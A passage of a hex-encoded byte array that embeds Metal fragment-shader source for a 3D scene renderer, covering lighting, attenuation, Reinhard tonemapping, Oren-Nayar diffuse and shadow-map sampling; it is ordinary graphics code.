0x34,0x32,0x35,0x34,0x37,0x36,0x30,0x37,0x34,0x32,0x31,0x38,0x37,0x35,0x29,0x20,
0x2a,0x20,0x70,0x6f,0x77,0x28,0x66,0x61,0x73,0x74,0x3a,0x3a,0x6d,0x61,0x78,0x28,
0x64,0x6f,0x74,0x28,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,0x6e,0x6f,0x72,0x6d,
0x61,0x6c,0x69,0x7a,0x65,0x28,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x20,
0x2b,0x20,0x76,0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x29,0x29,0x2c,0x20,0x30,0x2e,
0x30,0x29,0x2c,0x20,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,0x61,0x74,0x5f,0x73,0x68,
0x69,0x6e,0x69,0x6e,0x65,0x73,0x73,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x31,0x33,0x35,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x69,
0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,
0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,0x69,0x6e,0x6c,0x69,
0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x61,0x74,0x74,0x65,0x6e,
0x75,0x61,0x74,0x69,0x6f,0x6e,0x5f,0x70,0x6f,0x69,0x6e,0x74,0x28,0x74,0x68,0x72,
0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x26,0x20,0x64,0x69,0x73,0x74,0x61,0x6e,0x63,0x65,0x5f,0x62,0x79,0x5f,0x72,0x61,
0x64,0x69,0x75,0x73,0x2c,0x20,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,
0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,0x26,0x20,0x66,0x61,0x6c,0x6c,0x6f,0x66,
0x66,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x33,0x35,0x20,0x22,
0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,
0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,
0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x70,0x6f,0x77,0x28,0x31,
0x2e,0x30,0x20,0x2d,0x20,0x66,0x61,0x73,0x74,0x3a,0x3a,0x6d,0x69,0x6e,0x28,0x31,
0x2e,0x30,0x2c,0x20,0x6c,0x65,0x6e,0x67,0x74,0x68,0x28,0x64,0x69,0x73,0x74,0x61,
0x6e,0x63,0x65,0x5f,0x62,0x79,0x5f,0x72,0x61,0x64,0x69,0x75,0x73,0x29,0x29,0x2c,
0x20,0x32,0x2e,0x30,0x20,0x2a,0x20,0x66,0x61,0x6c,0x6c,0x6f,0x66,0x66,0x29,0x3b,
0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x36,0x34,0x20,0x22,0x73,0x72,
0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,
0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x73,0x74,
0x61,0x74,0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,0x61,0x74,
0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,0x61,0x79,
0x73,0x5f,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,0x61,0x74,
0x20,0x6c,0x75,0x6d,0x69,0x6e,0x61,0x6e,0x63,0x65,0x28,0x74,0x68,0x72,0x65,0x61,
0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x26,0x20,
0x6c,0x69,0x6e,0x65,0x61,0x72,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x36,0x34,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,
0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,
0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x64,
0x6f,0x74,0x28,0x6c,0x69,0x6e,0x65,0x61,0x72,0x2c,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x28,0x30,0x2e,0x32,0x31,0x32,0x35,0x39,0x39,0x39,0x39,0x32,0x37,0x35,0x32,
0x30,0x37,0x35,0x31,0x39,0x35,0x33,0x31,0x32,0x35,0x2c,0x20,0x30,0x2e,0x37,0x31,
0x35,0x32,0x30,0x30,0x30,0x30,0x36,0x39,0x36,0x31,0x38,0x32,0x32,0x35,0x30,0x39,
0x37,0x36,0x35,0x36,0x32,0x35,0x2c,0x20,0x30,0x2e,0x30,0x37,0x32,0x32,0x30,0x30,
0x30,0x30,0x30,0x32,0x38,0x36,0x31,0x30,0x32,0x32,0x39,0x34,0x39,0x32,0x31,0x38,
0x37,0x35,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x37,
0x33,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,
0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,
0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,
0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,
0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,0x6e,0x65,0x61,0x72,0x5f,0x74,0x6f,
0x5f,0x67,0x61,0x6d,0x6d,0x61,0x28,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,
0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x26,0x20,0x78,0x29,0x0a,0x7b,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x37,0x33,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,
0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,
0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x72,
0x65,0x74,0x75,0x72,0x6e,0x20,0x70,0x6f,0x77,0x28,0x78,0x2c,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x28,0x30,0x2e,0x34,0x35,0x34,0x35,0x34,0x35,0x34,0x36,0x38,0x30,
0x39,0x31,0x39,0x36,0x34,0x37,0x32,0x31,0x36,0x37,0x39,0x36,0x38,0x37,0x35,0x29,
0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x38,0x39,0x20,0x22,
0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,
0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,
0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,
0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,
0x61,0x79,0x73,0x5f,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x20,0x74,0x6f,0x6e,0x65,0x6d,0x61,0x70,0x5f,0x72,0x65,0x69,0x6e,
0x68,0x61,0x72,0x64,0x28,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x78,0x29,0x0a,0x7b,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x38,0x39,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,
0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,
0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x20,0x3d,0x20,0x78,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x31,0x20,0x3d,0x20,0x78,0x20,0x2f,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x28,0x31,0x2e,0x30,0x20,0x2b,0x20,0x6c,0x75,0x6d,0x69,0x6e,0x61,0x6e,0x63,0x65,
0x28,0x70,0x61,0x72,0x61,0x6d,0x29,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,
0x74,0x75,0x72,0x6e,0x20,0x6c,0x69,0x6e,0x65,0x61,0x72,0x5f,0x74,0x6f,0x5f,0x67,
0x61,0x6d,0x6d,0x61,0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x29,0x3b,0x0a,0x7d,
0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x31,0x35,0x20,0x22,0x73,0x72,0x63,
0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,
0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x66,0x72,0x61,
0x67,0x6d,0x65,0x6e,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x20,
0x6d,0x61,0x69,0x6e,0x30,0x28,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x20,0x69,
0x6e,0x20,0x5b,0x5b,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x5d,0x5d,0x2c,0x20,
0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,
0x6c,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x26,0x20,0x76,0x5f,0x31,0x31,0x30,0x20,
0x5b,0x5b,0x62,0x75,0x66,0x66,0x65,0x72,0x28,0x30,0x29,0x5d,0x5d,0x2c,0x20,0x63,
0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,0x66,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,
0x73,0x26,0x20,0x5f,0x32,0x39,0x32,0x20,0x5b,0x5b,0x62,0x75,0x66,0x66,0x65,0x72,
0x28,0x31,0x29,0x5d,0x5d,0x2c,0x20,0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,
0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x26,0x20,0x5f,0x33,
0x32,0x38,0x20,0x5b,0x5b,0x62,0x75,0x66,0x66,0x65,0x72,0x28,0x32,0x29,0x5d,0x5d,
0x2c,0x20,0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,0x6c,0x69,0x67,0x68,0x74,
0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x26,0x20,0x5f,0x33,0x38,0x37,0x20,0x5b,
0x5b,0x62,0x75,0x66,0x66,0x65,0x72,0x28,0x33,0x29,0x5d,0x5d,0x2c,0x20,0x74,0x65,
0x78,0x74,0x75,0x72,0x65,0x32,0x64,0x3c,0x66,0x6c,0x6f,0x61,0x74,0x3e,0x20,0x75,
0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,
0x70,0x20,0x5b,0x5b,0x74,0x65,0x78,0x74,0x75,0x72,0x65,0x28,0x30,0x29,0x5d,0x5d,
0x2c,0x20,0x74,0x65,0x78,0x74,0x75,0x72,0x65,0x32,0x64,0x3c,0x66,0x6c,0x6f,0x61,
0x74,0x3e,0x20,0x75,0x49,0x6d,0x61,0x67,0x65,0x30,0x20,0x5b,0x5b,0x74,0x65,0x78,
0x74,0x75,0x72,0x65,0x28,0x31,0x29,0x5d,0x5d,0x2c,0x20,0x73,0x61,0x6d,0x70,0x6c,
0x65,0x72,0x20,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,
0x77,0x5f,0x6d,0x61,0x70,0x53,0x6d,0x70,0x6c,0x72,0x20,0x5b,0x5b,0x73,0x61,0x6d,
0x70,0x6c,0x65,0x72,0x28,0x30,0x29,0x5d,0x5d,0x2c,0x20,0x73,0x61,0x6d,0x70,0x6c,
0x65,0x72,0x20,0x75,0x49,0x6d,0x61,0x67,0x65,0x30,0x53,0x6d,0x70,0x6c,0x72,0x20,
0x5b,0x5b,0x73,0x61,0x6d,0x70,0x6c,0x65,0x72,0x28,0x31,0x29,0x5d,0x5d,0x29,0x0a,
0x7b,0x0a,0x20,0x20,0x20,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x20,
0x6f,0x75,0x74,0x20,0x3d,0x20,0x7b,0x7d,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x32,0x31,0x35,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,
0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,
0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,
0x5f,0x32,0x38,0x38,0x20,0x3d,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x69,0x7a,0x65,
0x28,0x69,0x6e,0x2e,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x29,0x3b,0x0a,0x23,0x6c,
0x69,0x6e,0x65,0x20,0x32,0x31,0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,
0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,
0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x20,0x5f,0x33,0x30,0x30,0x20,0x3d,0x20,0x6e,0x6f,0x72,0x6d,0x61,
0x6c,0x69,0x7a,0x65,0x28,0x5f,0x32,0x39,0x32,0x2e,0x75,0x56,0x69,0x65,0x77,0x50,
0x6f,0x73,0x20,0x2d,0x20,0x69,0x6e,0x2e,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,
0x29,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x31,0x37,0x20,0x22,0x73,0x72,
0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,
0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x3d,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x28,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,0x61,
0x74,0x5f,0x65,0x6d,0x69,0x73,0x73,0x69,0x6f,0x6e,0x29,0x3b,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x32,0x31,0x38,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x34,0x20,0x5f,0x33,0x31,0x31,0x20,0x3d,0x20,0x75,0x49,0x6d,0x61,0x67,0x65,
0x30,0x2e,0x73,0x61,0x6d,0x70,0x6c,0x65,0x28,0x75,0x49,0x6d,0x61,0x67,0x65,0x30,
0x53,0x6d,0x70,0x6c,0x72,0x2c,0x20,0x69,0x6e,0x2e,0x76,0x54,0x65,0x78,0x43,0x6f,
0x6f,0x72,0x64,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,
0x20,0x5f,0x33,0x31,0x34,0x20,0x3d,0x20,0x5f,0x33,0x31,0x31,0x20,0x2a,0x20,0x69,
0x6e,0x2e,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x5f,0x33,0x32,0x34,0x20,0x3d,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x28,0x5f,0x33,0x31,0x34,0x2e,0x78,0x79,0x7a,0x29,
0x20,0x2a,0x20,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,0x61,0x74,0x5f,0x64,0x69,0x66,
0x66,0x75,0x73,0x65,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x32,0x33,0x20,
0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,
0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,
0x6d,0x20,0x3d,0x20,0x5f,0x33,0x32,0x38,0x2e,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,
0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x20,0x3d,0x20,0x5f,0x33,
0x30,0x30,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x32,0x20,0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x33,
0x20,0x3d,0x20,0x30,0x2e,0x35,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x34,0x20,0x3d,0x20,0x31,0x2e,0x30,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x33,0x33,0x39,0x20,
0x3d,0x20,0x6f,0x72,0x65,0x6e,0x5f,0x6e,0x61,0x79,0x61,0x72,0x5f,0x64,0x69,0x66,
0x66,0x75,0x73,0x65,0x28,0x70,0x61,0x72,0x61,0x6d,0x2c,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x31,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x32,0x2c,0x20,0x70,0x61,
0x72,0x61,0x6d,0x5f,0x33,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x34,0x29,0x3b,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x32,0x34,0x20,0x22,0x73,0x72,0x63,0x2f,
0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,
0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,
0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,0x3d,0x20,0x28,0x76,0x5f,0x31,0x31,0x30,0x2e,
0x6d,0x61,0x74,0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,0x20,0x2a,0x20,0x5f,0x33,
0x32,0x38,0x2e,0x6c,0x69,0x67,0x68,0x74,0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,
0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x69,0x66,0x20,0x28,0x5f,0x33,0x33,0x39,0x20,
0x3e,0x20,0x30,0x2e,0x30,0x29,0x0a,0x20,0x20,0x20,0x20,0x7b,0x0a,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x35,0x20,0x3d,0x20,0x5f,0x33,0x32,0x38,0x2e,0x6c,0x69,0x67,0x68,0x74,
0x5f,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,
0x36,0x20,0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x32,0x32,0x37,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,
0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,
0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x37,0x20,0x3d,0x20,0x5f,0x33,
0x32,0x38,0x2e,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,
0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x38,0x20,0x3d,0x20,0x5f,0x33,0x30,0x30,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x39,0x20,0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,
0x3d,0x20,0x28,0x28,0x28,0x28,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,0x61,0x74,0x5f,
0x73,0x70,0x65,0x63,0x75,0x6c,0x61,0x72,0x20,0x2a,0x20,0x5f,0x33,0x32,0x38,0x2e,
0x6c,0x69,0x67,0x68,0x74,0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,0x61,0x72,0x29,0x20,
0x2a,0x20,0x63,0x61,0x6c,0x63,0x5f,0x73,0x70,0x65,0x63,0x28,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x37,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x38,0x2c,0x20,0x70,0x61,
0x72,0x61,0x6d,0x5f,0x39,0x2c,0x20,0x76,0x5f,0x31,0x31,0x30,0x29,0x29,0x20,0x2b,
0x20,0x28,0x28,0x5f,0x33,0x32,0x34,0x20,0x2a,0x20,0x5f,0x33,0x32,0x38,0x2e,0x6c,
0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x29,0x20,0x2a,0x20,
0x5f,0x33,0x33,0x39,0x29,0x29,0x20,0x2a,0x20,0x28,0x31,0x2e,0x30,0x20,0x2d,0x20,
0x63,0x61,0x6c,0x63,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x28,0x66,0x61,0x73,0x74,
0x3a,0x3a,0x63,0x6c,0x61,0x6d,0x70,0x28,0x6c,0x61,0x6d,0x62,0x65,0x72,0x74,0x5f,
0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x35,0x2c,
0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x36,0x29,0x2c,0x20,0x30,0x2e,0x30,0x2c,0x20,
0x31,0x2e,0x30,0x29,0x2c,0x20,0x69,0x6e,0x2e,0x76,0x5f,0x73,0x68,0x61,0x64,0x6f,
0x77,0x5f,0x70,0x6f,0x73,0x2c,0x20,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,
0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x2c,0x20,0x75,0x5f,0x69,0x6d,0x61,
0x67,0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x53,0x6d,0x70,
0x6c,0x72,0x29,0x29,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x7d,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x32,0x33,0x35,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x20,0x5f,0x33,0x39,0x31,0x20,0x3d,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x28,0x5f,0x33,0x38,0x37,0x2e,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x70,0x6f,0x73,
0x69,0x74,0x69,0x6f,0x6e,0x29,0x20,0x2d,0x20,0x69,0x6e,0x2e,0x76,0x46,0x72,0x61,
0x67,0x50,0x6f,0x73,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x20,0x5f,0x33,0x39,0x39,0x20,0x3d,0x20,0x5f,0x33,0x39,0x31,0x20,0x2f,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x33,0x28,0x6c,0x65,0x6e,0x67,0x74,0x68,0x28,0x5f,0x33,0x39,
0x31,0x29,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,
0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x30,0x20,0x3d,0x20,0x5f,0x33,0x39,0x39,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x31,0x31,0x20,0x3d,0x20,0x5f,0x33,0x30,0x30,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x32,
0x20,0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x33,0x20,0x3d,0x20,0x30,0x2e,
0x35,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,
0x61,0x6d,0x5f,0x31,0x34,0x20,0x3d,0x20,0x31,0x2e,0x30,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x34,0x30,0x39,0x20,0x3d,0x20,0x6f,0x72,
0x65,0x6e,0x5f,0x6e,0x61,0x79,0x61,0x72,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,
0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x30,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,
